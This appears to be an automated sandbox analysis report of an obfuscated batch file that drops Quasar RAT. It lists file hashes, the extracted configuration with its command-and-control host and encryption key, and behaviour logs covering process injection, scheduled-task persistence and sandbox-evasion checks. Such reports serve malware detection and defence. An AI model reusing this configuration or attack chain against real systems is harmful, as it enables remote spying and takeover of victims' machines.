quasar | 3026eb3fcde09d0d4e0695b3f74cb420b1e9d64b30c1ced3ed6a20f085a34d51

Analysis

max time kernel
31s
max time network
35s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 18:37

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General

Target

Fixer-obf (1).bat
Size

24KB
MD5

03361badff8e7ecad39acd34f5f14749
SHA1

c023fd9bd854f59f527141824e8fa6a311a57858
SHA256

3026eb3fcde09d0d4e0695b3f74cb420b1e9d64b30c1ced3ed6a20f085a34d51
SHA512

796e7466d4af6e2d52bc265b6a9d0881989cebd52ff6c6bae8d3817db61f50dc26e5982a6eb5fe16bf4e7d5cf3aa09a5a33e35c51c94a58d32438684fb88f979
SSDEEP

384:UOpRAoUR7FKSVwpehr0kqTdyUO0OPniIjSFI:zpRrURhKKEehr0kqTIUO0OPnih+

Score

10^/10

quasar rpad discovery execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RPad

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-okPqrmZ8kNVUcS4Rp0

Attributes

encryption_key
XmcBnPuLlN1e8SHIRR1z
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe	family_quasar
behavioral2/memory/2672-25-0x0000000000420000-0x000000000048C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 4028 created 616 4028 powershell.EXE winlogon.exe
PID 1084 created 616 1084 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1604 powershell.exe
Downloads MZ/PE file

description	pid	process	target process
PID 4028 created 616	4028	powershell.EXE	winlogon.exe
PID 1084 created 616	1084	powershell.EXE	winlogon.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WaaSMedicAgent.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe

Executes dropped EXE 4 IoCs

Processes:

BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exe

pid process

2672 BoostBot.exe
5012 $sxr-powershell.exe
2244 install.exe
5008 install.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3664 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

27 raw.githubusercontent.com
32 raw.githubusercontent.com
26 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 ip-api.com

pid	process
2672	BoostBot.exe
5012	$sxr-powershell.exe
2244	install.exe
5008	install.exe

pid	process
3664	icacls.exe

flow	ioc
27	raw.githubusercontent.com
32	raw.githubusercontent.com
26	raw.githubusercontent.com

flow	ioc
20	ip-api.com

Drops file in System32 directory 11 IoCs

Processes:

svchost.exepowershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 4028 set thread context of 3780	4028	powershell.EXE	dllhost.exe
PID 1084 set thread context of 3792	1084	powershell.EXE	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

RuntimeBroker.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	RuntimeBroker.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exeschtasks.exeSCHTASKS.exeschtasks.exe

pid process

3600 SCHTASKS.exe
3096 schtasks.exe
1504 SCHTASKS.exe
2324 schtasks.exe

pid	process
3600	SCHTASKS.exe
3096	schtasks.exe
1504	SCHTASKS.exe
2324	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEmousocoreworker.exesvchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018400E1E98B978"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E1E98B978"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400E1E98B978 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000004710f940154f374ead54f219e7ad58f3000000000200000000001066000000010000200000002c18ec4c7061fd283e91c2a67082ac39971162e17d2e79f7e420ff459bb79b5c000000000e8000000002000020000000565b2379d846f385bc0c7a15cd1d0bf9f6546da598014f6d6d144053ed8915978000000015a4eefdfc461150862bdae663b15e0012a49a3edd20124af343732246228aa3d2c9b330d934056e73e330b7d468fe60d29865da323900105000bc5c298332da113cc1690c81c200107438f5209796844d9359ab4f1daa394fbdf60029431727522af0da4775fa8201c57166910e3b10717374d70ec4cda5654d01b31446e63640000000d4d52c614fe48d9f50cd3237092293968ee594460409703f4b8abe970490f501920098966379e5d8544f3347fe4f254d8dddf0b52d2f7ec5d3b6a5671154c4cd	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Modifies registry class 3 IoCs

Processes:

Explorer.EXERuntimeBroker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2040 PING.EXE

pid	process
2040	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exewmiprvse.exe

pid	process
1604	powershell.exe
1604	powershell.exe
4028	powershell.EXE
4028	powershell.EXE
1084	powershell.EXE
1084	powershell.EXE
4028	powershell.EXE
3780	dllhost.exe
3780	dllhost.exe
3780	dllhost.exe
3780	dllhost.exe
1084	powershell.EXE
1084	powershell.EXE
3792	dllhost.exe
3792	dllhost.exe
3780	dllhost.exe
3780	dllhost.exe
3780	dllhost.exe
3780	dllhost.exe
5012	$sxr-powershell.exe
3780	dllhost.exe
3780	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
976	wmiprvse.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
5012	$sxr-powershell.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
5012	$sxr-powershell.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
5012	$sxr-powershell.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe
3792	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3436 Explorer.EXE

pid	process
3436	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	2672	BoostBot.exe
Token: SeDebugPrivilege	5012	$sxr-powershell.exe
Token: SeDebugPrivilege	4028	powershell.EXE
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	4028	powershell.EXE
Token: SeDebugPrivilege	3780	dllhost.exe
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	3792	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2416	svchost.exe
Token: SeIncreaseQuotaPrivilege	2416	svchost.exe
Token: SeSecurityPrivilege	2416	svchost.exe
Token: SeTakeOwnershipPrivilege	2416	svchost.exe
Token: SeLoadDriverPrivilege	2416	svchost.exe
Token: SeSystemtimePrivilege	2416	svchost.exe
Token: SeBackupPrivilege	2416	svchost.exe
Token: SeRestorePrivilege	2416	svchost.exe
Token: SeShutdownPrivilege	2416	svchost.exe
Token: SeSystemEnvironmentPrivilege	2416	svchost.exe
Token: SeUndockPrivilege	2416	svchost.exe
Token: SeManageVolumePrivilege	2416	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2416	svchost.exe
Token: SeIncreaseQuotaPrivilege	2416	svchost.exe
Token: SeSecurityPrivilege	2416	svchost.exe
Token: SeTakeOwnershipPrivilege	2416	svchost.exe
Token: SeLoadDriverPrivilege	2416	svchost.exe
Token: SeSystemtimePrivilege	2416	svchost.exe
Token: SeBackupPrivilege	2416	svchost.exe
Token: SeRestorePrivilege	2416	svchost.exe
Token: SeShutdownPrivilege	2416	svchost.exe
Token: SeSystemEnvironmentPrivilege	2416	svchost.exe
Token: SeUndockPrivilege	2416	svchost.exe
Token: SeManageVolumePrivilege	2416	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2416	svchost.exe
Token: SeIncreaseQuotaPrivilege	2416	svchost.exe
Token: SeSecurityPrivilege	2416	svchost.exe
Token: SeTakeOwnershipPrivilege	2416	svchost.exe
Token: SeLoadDriverPrivilege	2416	svchost.exe
Token: SeSystemtimePrivilege	2416	svchost.exe
Token: SeBackupPrivilege	2416	svchost.exe
Token: SeRestorePrivilege	2416	svchost.exe
Token: SeShutdownPrivilege	2416	svchost.exe
Token: SeSystemEnvironmentPrivilege	2416	svchost.exe
Token: SeUndockPrivilege	2416	svchost.exe
Token: SeManageVolumePrivilege	2416	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2416	svchost.exe
Token: SeIncreaseQuotaPrivilege	2416	svchost.exe
Token: SeSecurityPrivilege	2416	svchost.exe
Token: SeTakeOwnershipPrivilege	2416	svchost.exe
Token: SeLoadDriverPrivilege	2416	svchost.exe
Token: SeSystemtimePrivilege	2416	svchost.exe
Token: SeBackupPrivilege	2416	svchost.exe
Token: SeRestorePrivilege	2416	svchost.exe
Token: SeShutdownPrivilege	2416	svchost.exe
Token: SeSystemEnvironmentPrivilege	2416	svchost.exe
Token: SeUndockPrivilege	2416	svchost.exe
Token: SeManageVolumePrivilege	2416	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2416	svchost.exe
Token: SeIncreaseQuotaPrivilege	2416	svchost.exe
Token: SeSecurityPrivilege	2416	svchost.exe
Token: SeTakeOwnershipPrivilege	2416	svchost.exe
Token: SeLoadDriverPrivilege	2416	svchost.exe
Token: SeSystemtimePrivilege	2416	svchost.exe
Token: SeBackupPrivilege	2416	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

Explorer.EXE

pid process

3436 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

3436 Explorer.EXE
3436 Explorer.EXE
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

5012 $sxr-powershell.exe

pid	process
3436	Explorer.EXE

pid	process
3436	Explorer.EXE
3436	Explorer.EXE

pid	process
5012	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 5116 wrote to memory of 1784	5116	cmd.exe	chcp.com
PID 5116 wrote to memory of 1784	5116	cmd.exe	chcp.com
PID 5116 wrote to memory of 1516	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 1516	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 3184	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 3184	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 4528	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 4528	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 1084	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 1084	5116	cmd.exe	findstr.exe
PID 5116 wrote to memory of 4788	5116	cmd.exe	cmd.exe
PID 5116 wrote to memory of 4788	5116	cmd.exe	cmd.exe
PID 5116 wrote to memory of 3544	5116	cmd.exe	find.exe
PID 5116 wrote to memory of 3544	5116	cmd.exe	find.exe
PID 5116 wrote to memory of 2264	5116	cmd.exe	find.exe
PID 5116 wrote to memory of 2264	5116	cmd.exe	find.exe
PID 5116 wrote to memory of 3528	5116	cmd.exe	cmd.exe
PID 5116 wrote to memory of 3528	5116	cmd.exe	cmd.exe
PID 5116 wrote to memory of 4508	5116	cmd.exe	certutil.exe
PID 5116 wrote to memory of 4508	5116	cmd.exe	certutil.exe
PID 5116 wrote to memory of 1604	5116	cmd.exe	powershell.exe
PID 5116 wrote to memory of 1604	5116	cmd.exe	powershell.exe
PID 1604 wrote to memory of 2672	1604	powershell.exe	BoostBot.exe
PID 1604 wrote to memory of 2672	1604	powershell.exe	BoostBot.exe
PID 1604 wrote to memory of 2672	1604	powershell.exe	BoostBot.exe
PID 5116 wrote to memory of 3664	5116	cmd.exe	icacls.exe
PID 5116 wrote to memory of 3664	5116	cmd.exe	icacls.exe
PID 5116 wrote to memory of 3656	5116	cmd.exe	reg.exe
PID 5116 wrote to memory of 3656	5116	cmd.exe	reg.exe
PID 5116 wrote to memory of 3980	5116	cmd.exe	attrib.exe
PID 5116 wrote to memory of 3980	5116	cmd.exe	attrib.exe
PID 2672 wrote to memory of 2324	2672	BoostBot.exe	schtasks.exe
PID 2672 wrote to memory of 2324	2672	BoostBot.exe	schtasks.exe
PID 2672 wrote to memory of 2324	2672	BoostBot.exe	schtasks.exe
PID 2672 wrote to memory of 5012	2672	BoostBot.exe	$sxr-powershell.exe
PID 2672 wrote to memory of 5012	2672	BoostBot.exe	$sxr-powershell.exe
PID 2672 wrote to memory of 5012	2672	BoostBot.exe	$sxr-powershell.exe
PID 2672 wrote to memory of 2244	2672	BoostBot.exe	install.exe
PID 2672 wrote to memory of 2244	2672	BoostBot.exe	install.exe
PID 2672 wrote to memory of 2244	2672	BoostBot.exe	install.exe
PID 2672 wrote to memory of 3600	2672	BoostBot.exe	SCHTASKS.exe
PID 2672 wrote to memory of 3600	2672	BoostBot.exe	SCHTASKS.exe
PID 2672 wrote to memory of 3600	2672	BoostBot.exe	SCHTASKS.exe
PID 5012 wrote to memory of 3096	5012	$sxr-powershell.exe	schtasks.exe
PID 5012 wrote to memory of 3096	5012	$sxr-powershell.exe	schtasks.exe
PID 5012 wrote to memory of 3096	5012	$sxr-powershell.exe	schtasks.exe
PID 5012 wrote to memory of 5008	5012	$sxr-powershell.exe	install.exe
PID 5012 wrote to memory of 5008	5012	$sxr-powershell.exe	install.exe
PID 5012 wrote to memory of 5008	5012	$sxr-powershell.exe	install.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 4028 wrote to memory of 3780	4028	powershell.EXE	dllhost.exe
PID 3780 wrote to memory of 616	3780	dllhost.exe	winlogon.exe
PID 3780 wrote to memory of 672	3780	dllhost.exe	lsass.exe
PID 3780 wrote to memory of 952	3780	dllhost.exe	svchost.exe
PID 3780 wrote to memory of 332	3780	dllhost.exe	dwm.exe
PID 3780 wrote to memory of 516	3780	dllhost.exe	svchost.exe
PID 3780 wrote to memory of 728	3780	dllhost.exe	svchost.exe
PID 3780 wrote to memory of 1072	3780	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
